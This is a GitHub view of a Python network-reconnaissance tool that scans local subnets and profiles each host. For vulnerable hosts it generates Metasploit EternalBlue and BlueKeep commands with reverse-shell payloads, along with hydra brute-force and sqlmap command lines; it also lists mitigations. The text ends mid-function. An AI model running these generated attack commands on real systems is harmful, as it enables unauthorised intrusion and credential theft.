-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmultitask_scanner.py
More file actions
1221 lines (1049 loc) · 50.6 KB
/
multitask_scanner.py
File metadata and controls
1221 lines (1049 loc) · 50.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
IntelProbe Advanced Multi-Threaded Network Security Platform
Military-grade reconnaissance, vulnerability assessment, and network defense
Author: Lintshiwe Slade (@lintshiwe)
Enhanced from netspionage framework with AI-powered capabilities
"""
import threading
import queue
import time
import json
import os
import sys
import socket
import subprocess
import ipaddress
import platform
import concurrent.futures
from dataclasses import dataclass, asdict
from typing import List, Dict, Optional, Tuple
import logging
from enum import Enum
class ThreatLevel(Enum):
CRITICAL = "CRITICAL"
HIGH = "HIGH"
MEDIUM = "MEDIUM"
LOW = "LOW"
INFO = "INFO"
@dataclass
class DeviceProfile:
"""Comprehensive device profile with sensitive information"""
ip: str
hostname: Optional[str] = None
mac_address: Optional[str] = None
vendor: Optional[str] = None
os_type: Optional[str] = None
os_version: Optional[str] = None
computer_name: Optional[str] = None
domain: Optional[str] = None
logged_users: List[str] = None
shares: List[str] = None
services: Dict[int, Dict] = None
open_ports: List[int] = None
vulnerabilities: List[Dict] = None
exploits: List[Dict] = None
credentials: List[Dict] = None
sensitive_files: List[str] = None
network_interfaces: List[Dict] = None
installed_software: List[str] = None
running_processes: List[str] = None
threat_level: ThreatLevel = ThreatLevel.INFO
mitigation_steps: List[str] = None
last_scan: str = None
def __post_init__(self):
if self.logged_users is None:
self.logged_users = []
if self.shares is None:
self.shares = []
if self.services is None:
self.services = {}
if self.open_ports is None:
self.open_ports = []
if self.vulnerabilities is None:
self.vulnerabilities = []
if self.exploits is None:
self.exploits = []
if self.credentials is None:
self.credentials = []
if self.sensitive_files is None:
self.sensitive_files = []
if self.network_interfaces is None:
self.network_interfaces = []
if self.installed_software is None:
self.installed_software = []
if self.running_processes is None:
self.running_processes = []
if self.mitigation_steps is None:
self.mitigation_steps = []
class AdvancedNetworkScanner:
"""
Advanced multi-threaded network security platform
"""
def __init__(self, max_workers=50):
self.max_workers = max_workers
self.scan_queue = queue.Queue()
self.vulnerability_queue = queue.Queue()
self.results_queue = queue.Queue()
self.threat_queue = queue.Queue()
self.discovered_devices = {}
self.active_threats = []
self.scanning_active = False
self.logger = self._setup_logger()
self.exploitation_db = self._load_exploitation_database()
self.mitigation_db = self._load_mitigation_database()
# Network defense capabilities
self.defensive_mode = False
self.blocked_devices = set()
def _setup_logger(self):
"""Setup comprehensive logging"""
logger = logging.getLogger("advanced_scanner")
logger.setLevel(logging.INFO)
if not logger.handlers:
# File handler
os.makedirs("logs", exist_ok=True)
file_handler = logging.FileHandler(f"logs/intelprobe_{int(time.time())}.log")
file_formatter = logging.Formatter(
'%(asctime)s [%(levelname)s] %(name)s: %(message)s'
)
file_handler.setFormatter(file_formatter)
logger.addHandler(file_handler)
# Console handler
console_handler = logging.StreamHandler()
console_formatter = logging.Formatter('%(asctime)s [%(levelname)s]: %(message)s')
console_handler.setFormatter(console_formatter)
logger.addHandler(console_handler)
return logger
def _load_exploitation_database(self) -> Dict:
"""Load comprehensive exploitation database"""
return {
"SMB": {
"ports": [139, 445],
"exploits": [
{
"name": "EternalBlue (MS17-010)",
"cve": "CVE-2017-0144",
"severity": "CRITICAL",
"tools": ["metasploit", "AutoBlue-MS17-010", "worawit/MS17-010"],
"payloads": ["windows/x64/meterpreter/reverse_tcp", "windows/shell_reverse_tcp"],
"description": "Remote code execution via SMB vulnerability",
"impact": "Full system compromise, lateral movement, data exfiltration"
},
{
"name": "SMBGhost (CVE-2020-0796)",
"cve": "CVE-2020-0796",
"severity": "CRITICAL",
"tools": ["metasploit", "chompie1337/SMBGhost_RCE_PoC"],
"payloads": ["windows/x64/meterpreter/reverse_tcp"],
"description": "Windows 10 SMBv3 compression vulnerability",
"impact": "Remote code execution with SYSTEM privileges"
}
]
},
"RDP": {
"ports": [3389],
"exploits": [
{
"name": "BlueKeep (CVE-2019-0708)",
"cve": "CVE-2019-0708",
"severity": "CRITICAL",
"tools": ["metasploit", "bluekeep-scanner", "zerosum0x0/CVE-2019-0708"],
"payloads": ["windows/x64/meterpreter/reverse_tcp"],
"description": "Remote desktop services vulnerability",
"impact": "Wormable vulnerability allowing remote code execution"
},
{
"name": "RDP Brute Force",
"cve": "N/A",
"severity": "HIGH",
"tools": ["hydra", "crowbar", "ncrack", "medusa"],
"payloads": ["credential harvesting"],
"description": "Brute force RDP credentials",
"impact": "Unauthorized access to remote desktop"
}
]
},
"SSH": {
"ports": [22],
"exploits": [
{
"name": "SSH Brute Force",
"cve": "N/A",
"severity": "HIGH",
"tools": ["hydra", "medusa", "patator", "ncrack"],
"payloads": ["credential harvesting", "shell access"],
"description": "Brute force SSH credentials",
"impact": "Unauthorized shell access"
},
{
"name": "SSH Key Exploitation",
"cve": "N/A",
"severity": "HIGH",
"tools": ["ssh-keyscan", "paramiko", "custom scripts"],
"payloads": ["shell access", "lateral movement"],
"description": "Exploit weak SSH key configurations",
"impact": "Persistent access via compromised keys"
}
]
},
"HTTP": {
"ports": [80, 8080, 8000, 8888],
"exploits": [
{
"name": "SQL Injection",
"cve": "Various",
"severity": "HIGH",
"tools": ["sqlmap", "sqlninja", "havij", "burp suite"],
"payloads": ["database extraction", "webshell upload"],
"description": "SQL injection vulnerabilities",
"impact": "Database compromise, data exfiltration"
},
{
"name": "Remote File Inclusion",
"cve": "Various",
"severity": "HIGH",
"tools": ["fimap", "kadimus", "dotdotpwn"],
"payloads": ["webshell execution", "local file inclusion"],
"description": "File inclusion vulnerabilities",
"impact": "Remote code execution, sensitive file access"
}
]
},
"FTP": {
"ports": [21],
"exploits": [
{
"name": "Anonymous FTP Access",
"cve": "N/A",
"severity": "MEDIUM",
"tools": ["ftp", "curl", "wget", "lftp"],
"payloads": ["file download", "directory traversal"],
"description": "Anonymous FTP access enabled",
"impact": "Sensitive file exposure, potential upload access"
},
{
"name": "FTP Brute Force",
"cve": "N/A",
"severity": "MEDIUM",
"tools": ["hydra", "medusa", "patator"],
"payloads": ["credential harvesting", "file access"],
"description": "Brute force FTP credentials",
"impact": "Unauthorized file system access"
}
]
},
"TELNET": {
"ports": [23],
"exploits": [
{
"name": "Telnet Credential Interception",
"cve": "N/A",
"severity": "HIGH",
"tools": ["wireshark", "tcpdump", "ettercap"],
"payloads": ["credential harvesting"],
"description": "Unencrypted telnet traffic",
"impact": "Credential interception, session hijacking"
}
]
},
"VNC": {
"ports": [5900, 5901, 5902],
"exploits": [
{
"name": "VNC Authentication Bypass",
"cve": "Various",
"severity": "HIGH",
"tools": ["vnccrack", "medusa", "patator"],
"payloads": ["desktop access"],
"description": "Weak or no VNC authentication",
"impact": "Full desktop access, screen monitoring"
}
]
},
"SNMP": {
"ports": [161],
"exploits": [
{
"name": "SNMP Community String Brute Force",
"cve": "N/A",
"severity": "MEDIUM",
"tools": ["onesixtyone", "snmpwalk", "snmp-check"],
"payloads": ["system information extraction"],
"description": "Weak SNMP community strings",
"impact": "System information disclosure, configuration access"
}
]
}
}
def _load_mitigation_database(self) -> Dict:
"""Load mitigation strategies database"""
return {
"SMB": [
"Apply MS17-010 security update immediately",
"Disable SMBv1 protocol completely",
"Enable SMB signing and encryption",
"Implement network segmentation",
"Use Windows Firewall to restrict SMB access",
"Monitor SMB traffic for anomalies",
"Regular vulnerability scanning"
],
"RDP": [
"Enable Network Level Authentication (NLA)",
"Use strong, complex passwords",
"Implement account lockout policies",
"Change default RDP port (3389)",
"Use VPN for remote access",
"Enable RDP encryption",
"Monitor failed login attempts",
"Implement multi-factor authentication"
],
"SSH": [
"Disable password authentication, use keys only",
"Use strong SSH key passphrases",
"Change default SSH port (22)",
"Implement fail2ban or similar",
"Disable root login",
"Use SSH protocol version 2 only",
"Regular key rotation",
"Monitor SSH logs for anomalies"
],
"HTTP": [
"Implement HTTPS with strong certificates",
"Use Web Application Firewalls (WAF)",
"Regular security updates",
"Input validation and sanitization",
"Implement CSRF protection",
"Use secure session management",
"Regular penetration testing",
"Implement Content Security Policy (CSP)"
],
"FTP": [
"Replace with SFTP or FTPS",
"Disable anonymous access",
"Use strong authentication",
"Implement IP restrictions",
"Regular log monitoring",
"Use passive mode only",
"Implement file integrity monitoring"
],
"TELNET": [
"Replace with SSH immediately",
"Disable telnet service completely",
"Use encrypted alternatives",
"Network segmentation",
"Monitor for telnet usage"
],
"VNC": [
"Use strong VNC passwords",
"Enable encryption",
"Use VPN tunneling",
"Implement IP restrictions",
"Regular password changes",
"Monitor VNC connections",
"Use more secure alternatives like RDP with NLA"
],
"SNMP": [
"Change default community strings",
"Use SNMPv3 with encryption",
"Implement access control lists",
"Disable SNMP if not needed",
"Monitor SNMP requests",
"Use strong authentication"
]
}
def discover_networks(self) -> List[str]:
"""Discover all connected networks"""
networks = []
try:
if platform.system() == "Windows":
# Get routing table
result = subprocess.run(["route", "print"], capture_output=True, text=True, timeout=10)
lines = result.stdout.split('\n')
for line in lines:
if "0.0.0.0" in line and "0.0.0.0" in line:
# Default route line
parts = line.split()
if len(parts) >= 3:
gateway = parts[2]
# Determine network from gateway
try:
gw_ip = ipaddress.ip_address(gateway)
if gw_ip.is_private:
octets = str(gw_ip).split('.')
network = f"{octets[0]}.{octets[1]}.{octets[2]}.0/24"
if network not in networks:
networks.append(network)
except:
pass
# Also check ipconfig for additional networks
result = subprocess.run(["ipconfig"], capture_output=True, text=True, timeout=10)
current_subnet = None
for line in result.stdout.split('\n'):
if "IPv4 Address" in line:
try:
ip = line.split(":")[1].strip()
if not ip.startswith("127.") and not ip.startswith("169.254"):
octets = ip.split('.')
network = f"{octets[0]}.{octets[1]}.{octets[2]}.0/24"
if network not in networks:
networks.append(network)
except:
pass
else:
# Linux/macOS
result = subprocess.run(["ip", "route"], capture_output=True, text=True, timeout=10)
for line in result.stdout.split('\n'):
if "/" in line and "src" in line:
parts = line.split()
if len(parts) > 0 and "/" in parts[0]:
network = parts[0]
if not network.startswith("127.") and not network.startswith("169.254"):
networks.append(network)
except Exception as e:
self.logger.error(f"Network discovery error: {e}")
# Fallback to common networks
networks = ["192.168.1.0/24", "192.168.0.0/24", "10.0.0.0/24", "172.16.0.0/24"]
self.logger.info(f"Discovered networks: {networks}")
return networks
def deep_device_scan(self, target_ip: str) -> Optional[DeviceProfile]:
"""Perform comprehensive device profiling"""
self.logger.info(f"Deep scanning device: {target_ip}")
device = DeviceProfile(ip=target_ip)
device.last_scan = time.strftime("%Y-%m-%d %H:%M:%S")
# Multi-threaded information gathering
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
tasks = {
executor.submit(self._scan_ports, target_ip): "ports",
executor.submit(self._gather_hostname, target_ip): "hostname",
executor.submit(self._gather_os_info, target_ip): "os",
executor.submit(self._gather_smb_info, target_ip): "smb",
executor.submit(self._gather_snmp_info, target_ip): "snmp",
executor.submit(self._gather_web_info, target_ip): "web",
executor.submit(self._scan_vulnerabilities, target_ip): "vulns"
}
for future in concurrent.futures.as_completed(tasks):
task_type = tasks[future]
try:
result = future.result(timeout=30)
self._process_scan_result(device, task_type, result)
except Exception as e:
self.logger.debug(f"Task {task_type} failed for {target_ip}: {e}")
# Generate exploitation recommendations
device.exploits = self._generate_exploitation_plan(device)
# Assess threat level
device.threat_level = self._assess_threat_level(device)
# Generate mitigation steps
device.mitigation_steps = self._generate_mitigation_steps(device)
return device
def _scan_ports(self, target_ip: str) -> Dict:
"""Comprehensive port scanning"""
ports_to_scan = [
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 161, 389, 443, 445,
993, 995, 1433, 1521, 3306, 3389, 5432, 5900, 5901, 5902, 6379, 8000,
8080, 8443, 8888, 9090, 27017
]
open_ports = []
services = {}
for port in ports_to_scan:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
result = sock.connect_ex((target_ip, port))
if result == 0:
open_ports.append(port)
# Service detection
try:
sock.send(b"GET / HTTP/1.0\r\n\r\n")
banner = sock.recv(1024).decode('utf-8', errors='ignore')
services[port] = {
"service": self._identify_service(port, banner),
"banner": banner[:200],
"version": self._extract_version(banner)
}
except:
services[port] = {
"service": self._identify_service(port, ""),
"banner": "",
"version": "Unknown"
}
sock.close()
except Exception as e:
pass
return {"open_ports": open_ports, "services": services}
def _gather_hostname(self, target_ip: str) -> str:
"""Gather hostname information"""
try:
hostname = socket.gethostbyaddr(target_ip)[0]
return hostname
except:
return None
def _gather_os_info(self, target_ip: str) -> Dict:
"""Advanced OS detection"""
os_info = {"os_type": "Unknown", "os_version": "Unknown", "computer_name": None}
try:
# TTL-based OS detection
if platform.system() == "Windows":
result = subprocess.run(
["ping", "-n", "1", target_ip],
capture_output=True, text=True, timeout=5
)
else:
result = subprocess.run(
["ping", "-c", "1", target_ip],
capture_output=True, text=True, timeout=5
)
if "TTL=" in result.stdout or "ttl=" in result.stdout:
ttl_line = [line for line in result.stdout.split('\n') if 'TTL=' in line or 'ttl=' in line]
if ttl_line:
ttl = ttl_line[0]
if "128" in ttl or "127" in ttl:
os_info["os_type"] = "Windows"
elif "64" in ttl or "63" in ttl:
os_info["os_type"] = "Linux/Unix"
elif "255" in ttl or "254" in ttl:
os_info["os_type"] = "Network Device"
except:
pass
return os_info
def _gather_smb_info(self, target_ip: str) -> Dict:
"""Gather SMB/NetBIOS information"""
smb_info = {
"shares": [],
"users": [],
"computer_name": None,
"domain": None,
"os_version": None
}
try:
# Try to get NetBIOS information
if platform.system() == "Windows":
# Use nbtstat
result = subprocess.run(
["nbtstat", "-A", target_ip],
capture_output=True, text=True, timeout=10
)
for line in result.stdout.split('\n'):
if "<00>" in line and "UNIQUE" in line:
smb_info["computer_name"] = line.split()[0].strip()
elif "<1D>" in line and "UNIQUE" in line:
smb_info["domain"] = line.split()[0].strip()
# Try to enumerate shares
try:
if platform.system() == "Windows":
result = subprocess.run(
["net", "view", f"\\\\{target_ip}"],
capture_output=True, text=True, timeout=10
)
lines = result.stdout.split('\n')
for line in lines:
if line.strip() and not line.startswith("The command") and "Share name" not in line:
if line.strip().split():
share_name = line.strip().split()[0]
if share_name and not share_name.startswith("-"):
smb_info["shares"].append(share_name)
except:
pass
except Exception as e:
self.logger.debug(f"SMB info gathering failed for {target_ip}: {e}")
return smb_info
def _gather_snmp_info(self, target_ip: str) -> Dict:
"""Gather SNMP information"""
snmp_info = {
"community_strings": [],
"system_info": {},
"interfaces": []
}
# Try common community strings
common_communities = ["public", "private", "community", "manager", "admin"]
for community in common_communities:
try:
# Simple SNMP check (would require pysnmp for full implementation)
# This is a placeholder for SNMP enumeration
pass
except:
pass
return snmp_info
def _gather_web_info(self, target_ip: str) -> Dict:
"""Gather web server information"""
web_info = {
"servers": [],
"technologies": [],
"directories": [],
"vulnerabilities": []
}
web_ports = [80, 443, 8000, 8080, 8443, 8888]
for port in web_ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
if sock.connect_ex((target_ip, port)) == 0:
# Send HTTP request
request = f"GET / HTTP/1.1\r\nHost: {target_ip}\r\n\r\n"
sock.send(request.encode())
response = sock.recv(4096).decode('utf-8', errors='ignore')
# Extract server information
if "Server:" in response:
server_line = [line for line in response.split('\n') if 'Server:' in line]
if server_line:
server = server_line[0].split('Server:')[1].strip()
web_info["servers"].append(f"Port {port}: {server}")
# Check for common vulnerabilities
if "apache" in response.lower():
web_info["technologies"].append("Apache")
if "nginx" in response.lower():
web_info["technologies"].append("Nginx")
if "iis" in response.lower():
web_info["technologies"].append("IIS")
sock.close()
except:
pass
return web_info
def _scan_vulnerabilities(self, target_ip: str) -> List[Dict]:
"""Scan for known vulnerabilities"""
vulnerabilities = []
# Check for common vulnerabilities based on open ports
# This would integrate with vulnerability databases
return vulnerabilities
def _process_scan_result(self, device: DeviceProfile, task_type: str, result):
"""Process scan results and update device profile"""
if task_type == "ports" and result:
device.open_ports = result.get("open_ports", [])
device.services = result.get("services", {})
elif task_type == "hostname" and result:
device.hostname = result
elif task_type == "os" and result:
device.os_type = result.get("os_type")
device.os_version = result.get("os_version")
device.computer_name = result.get("computer_name")
elif task_type == "smb" and result:
device.shares = result.get("shares", [])
device.logged_users = result.get("users", [])
if result.get("computer_name"):
device.computer_name = result["computer_name"]
if result.get("domain"):
device.domain = result["domain"]
elif task_type == "vulns" and result:
device.vulnerabilities = result
def _identify_service(self, port: int, banner: str) -> str:
"""Identify service based on port and banner"""
service_map = {
21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS",
80: "HTTP", 110: "POP3", 111: "RPC", 135: "RPC", 139: "NetBIOS",
143: "IMAP", 161: "SNMP", 389: "LDAP", 443: "HTTPS", 445: "SMB",
993: "IMAPS", 995: "POP3S", 1433: "MSSQL", 1521: "Oracle",
3306: "MySQL", 3389: "RDP", 5432: "PostgreSQL", 5900: "VNC",
6379: "Redis", 8080: "HTTP-Alt", 27017: "MongoDB"
}
base_service = service_map.get(port, "Unknown")
# Enhance with banner information
if banner:
banner_lower = banner.lower()
if "apache" in banner_lower:
return f"{base_service} (Apache)"
elif "nginx" in banner_lower:
return f"{base_service} (Nginx)"
elif "iis" in banner_lower:
return f"{base_service} (IIS)"
elif "openssh" in banner_lower:
return f"{base_service} (OpenSSH)"
elif "microsoft" in banner_lower:
return f"{base_service} (Microsoft)"
return base_service
def _extract_version(self, banner: str) -> str:
"""Extract version information from banner"""
if not banner:
return "Unknown"
# Simple version extraction patterns
import re
version_patterns = [
r'(\d+\.\d+\.\d+)',
r'(\d+\.\d+)',
r'Server: ([^\r\n]+)',
r'SSH-(\d+\.\d+)'
]
for pattern in version_patterns:
match = re.search(pattern, banner)
if match:
return match.group(1)
return "Unknown"
def _generate_exploitation_plan(self, device: DeviceProfile) -> List[Dict]:
"""Generate detailed exploitation plan"""
exploits = []
for port in device.open_ports:
service_info = device.services.get(port, {})
service = service_info.get("service", "Unknown")
# Check exploitation database
for service_type, exploit_data in self.exploitation_db.items():
if port in exploit_data["ports"] or service_type.lower() in service.lower():
for exploit in exploit_data["exploits"]:
exploit_plan = exploit.copy()
exploit_plan["target_port"] = port
exploit_plan["target_service"] = service
exploit_plan["command_examples"] = self._generate_exploit_commands(
device.ip, port, exploit
)
exploits.append(exploit_plan)
return exploits
def _generate_exploit_commands(self, target_ip: str, port: int, exploit: Dict) -> List[str]:
"""Generate specific exploit commands"""
commands = []
if "metasploit" in exploit["tools"]:
if "EternalBlue" in exploit["name"]:
commands.append(f"use exploit/windows/smb/ms17_010_eternalblue")
commands.append(f"set RHOSTS {target_ip}")
commands.append(f"set payload windows/x64/meterpreter/reverse_tcp")
commands.append(f"set LHOST [your_ip]")
commands.append(f"exploit")
elif "BlueKeep" in exploit["name"]:
commands.append(f"use exploit/windows/rdp/cve_2019_0708_bluekeep_rce")
commands.append(f"set RHOSTS {target_ip}")
commands.append(f"exploit")
if "hydra" in exploit["tools"]:
if port == 22: # SSH
commands.append(f"hydra -L userlist.txt -P passwordlist.txt ssh://{target_ip}")
elif port == 3389: # RDP
commands.append(f"hydra -L userlist.txt -P passwordlist.txt rdp://{target_ip}")
elif port == 21: # FTP
commands.append(f"hydra -L userlist.txt -P passwordlist.txt ftp://{target_ip}")
if "sqlmap" in exploit["tools"]:
commands.append(f"sqlmap -u http://{target_ip}:{port}/vulnerable_page.php?id=1 --dbs")
if "nmap" in exploit["tools"]:
commands.append(f"nmap --script vuln {target_ip} -p {port}")
return commands
def _assess_threat_level(self, device: DeviceProfile) -> ThreatLevel:
"""Assess overall threat level"""
score = 0
# Critical vulnerabilities
critical_ports = [445, 3389, 139] # SMB, RDP, NetBIOS
for port in device.open_ports:
if port in critical_ports:
score += 30
# High-risk services
high_risk_ports = [21, 23, 161, 5900] # FTP, Telnet, SNMP, VNC
for port in device.open_ports:
if port in high_risk_ports:
score += 20
# Number of open ports
score += len(device.open_ports) * 2
# Exploits available
critical_exploits = [e for e in device.exploits if e.get("severity") == "CRITICAL"]
high_exploits = [e for e in device.exploits if e.get("severity") == "HIGH"]
score += len(critical_exploits) * 25
score += len(high_exploits) * 15
# Determine threat level
if score >= 80:
return ThreatLevel.CRITICAL
elif score >= 60:
return ThreatLevel.HIGH
elif score >= 30:
return ThreatLevel.MEDIUM
elif score > 0:
return ThreatLevel.LOW
else:
return ThreatLevel.INFO
def _generate_mitigation_steps(self, device: DeviceProfile) -> List[str]:
"""Generate specific mitigation steps"""
steps = []
for port in device.open_ports:
service_info = device.services.get(port, {})
service = service_info.get("service", "Unknown")
# Get mitigation steps from database
for service_type, mitigations in self.mitigation_db.items():
if service_type.lower() in service.lower():
steps.extend([f"{service_type}: {step}" for step in mitigations])
# General recommendations
if device.threat_level in [ThreatLevel.CRITICAL, ThreatLevel.HIGH]:
steps.insert(0, "🚨 IMMEDIATE ACTION REQUIRED - High threat level detected")
steps.append("Isolate device from network until patches applied")
steps.append("Implement network monitoring for this device")
return list(set(steps)) # Remove duplicates
def start_multitasking_scan(self, networks: List[str]):
"""Start multi-threaded comprehensive network scan"""
print("=" * 80)
print(" INTELPROBE MULTITASKING SECURITY PLATFORM")
print("")
print(" Real-time Network Reconnaissance & Vulnerability Assessment")
print(" Exploitation Intelligence & Defense Capabilities")
print(" Automated Threat Detection & Mitigation")
print("")
print(" Created by: Lintshiwe Slade")
print(" GitHub: @lintshiwe")
print("=" * 80)
self.scanning_active = True
# Start worker threads
scanner_thread = threading.Thread(target=self._scanner_worker, args=(networks,))
vulnerability_thread = threading.Thread(target=self._vulnerability_worker)
threat_monitor_thread = threading.Thread(target=self._threat_monitor_worker)
defense_thread = threading.Thread(target=self._defense_worker)
# Make threads daemon so they don't prevent program exit
scanner_thread.daemon = True
vulnerability_thread.daemon = True
threat_monitor_thread.daemon = True
defense_thread.daemon = True
scanner_thread.start()
vulnerability_thread.start()
threat_monitor_thread.start()
defense_thread.start()
# Wait for scanner to complete
scanner_thread.join()
# Give other threads time to finish processing remaining items
print("⏳ Waiting for analysis threads to complete...")
vulnerability_thread.join(timeout=10)
threat_monitor_thread.join(timeout=10)
defense_thread.join(timeout=10)
print("✅ All scanning threads completed")
def _scanner_worker(self, networks: List[str]):
"""Worker thread for network scanning"""
print("\n🌐 PHASE 1: NETWORK DISCOVERY & RECONNAISSANCE")
print("=" * 80)
for network in networks:
print(f"\n🔍 Scanning network: {network}")
try:
net = ipaddress.ip_network(network, strict=False)
targets = [str(ip) for ip in net.hosts()][:50] # Limit for demo
print(f"📡 Scanning {len(targets)} potential targets...")
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
futures = {executor.submit(self.deep_device_scan, target): target for target in targets}
for future in concurrent.futures.as_completed(futures):
target = futures[future]
try:
device = future.result(timeout=60)
if device and device.open_ports:
self.discovered_devices[target] = device
self.vulnerability_queue.put(device)
print(f"✅ Active device: {target} ({len(device.open_ports)} ports)")
except Exception as e:
self.logger.debug(f"Scan failed for {target}: {e}")
except Exception as e:
self.logger.error(f"Network scan error for {network}: {e}")
print(f"\n📊 Discovery complete: {len(self.discovered_devices)} active devices found")
# Signal that scanning is complete
self.scanning_active = False
print("🔄 Scanning phase complete, finalizing analysis...")
def _vulnerability_worker(self):
"""Worker thread for vulnerability assessment"""
print("\n🛡️ PHASE 2: VULNERABILITY ASSESSMENT & EXPLOITATION ANALYSIS")
print("=" * 80)
empty_queue_count = 0
max_empty_cycles = 5 # Exit after 5 empty queue cycles when scanning is done
while self.scanning_active or (not self.vulnerability_queue.empty() and empty_queue_count < max_empty_cycles):
try:
device = self.vulnerability_queue.get(timeout=5)
empty_queue_count = 0 # Reset counter when we get an item
print(f"\n🔬 Analyzing vulnerabilities for {device.ip}")
print(f" Computer: {device.computer_name or 'Unknown'}")
print(f" OS: {device.os_type or 'Unknown'}")
print(f" Threat Level: {device.threat_level.value}")
if device.exploits:
print(f" ⚔️ Exploitation opportunities: {len(device.exploits)}")
for exploit in device.exploits[:3]: # Show top 3
print(f" • {exploit['name']} ({exploit['severity']})")
if exploit.get('command_examples'):
print(f" Tools: {', '.join(exploit['tools'][:3])}")
if device.threat_level in [ThreatLevel.CRITICAL, ThreatLevel.HIGH]:
self.threat_queue.put(device)
self.vulnerability_queue.task_done()
except queue.Empty:
if not self.scanning_active:
empty_queue_count += 1
continue
except Exception as e:
self.logger.error(f"Vulnerability analysis error: {e}")
print("🛡️ Vulnerability assessment completed")
def _threat_monitor_worker(self):
"""Worker thread for threat monitoring"""
print("\n🚨 PHASE 3: THREAT MONITORING & INTELLIGENCE")
print("=" * 80)
empty_queue_count = 0
max_empty_cycles = 5 # Exit after 5 empty queue cycles when scanning is done
while self.scanning_active or (not self.threat_queue.empty() and empty_queue_count < max_empty_cycles):
try:
device = self.threat_queue.get(timeout=5)
empty_queue_count = 0 # Reset counter when we get an item
print(f"\n🚨 HIGH THREAT DETECTED: {device.ip}")
print(f" 💻 Computer: {device.computer_name or 'Unknown'}")
print(f" 🖥️ OS: {device.os_type or 'Unknown'}")
print(f" ⚠️ Threat Level: {device.threat_level.value}")
print(f" 🔌 Open Ports: {', '.join(map(str, device.open_ports))}")
if device.shares:
print(f" 📁 SMB Shares: {', '.join(device.shares[:5])}")
print(f" ⚔️ Exploitation Vectors:")
for exploit in device.exploits[:5]: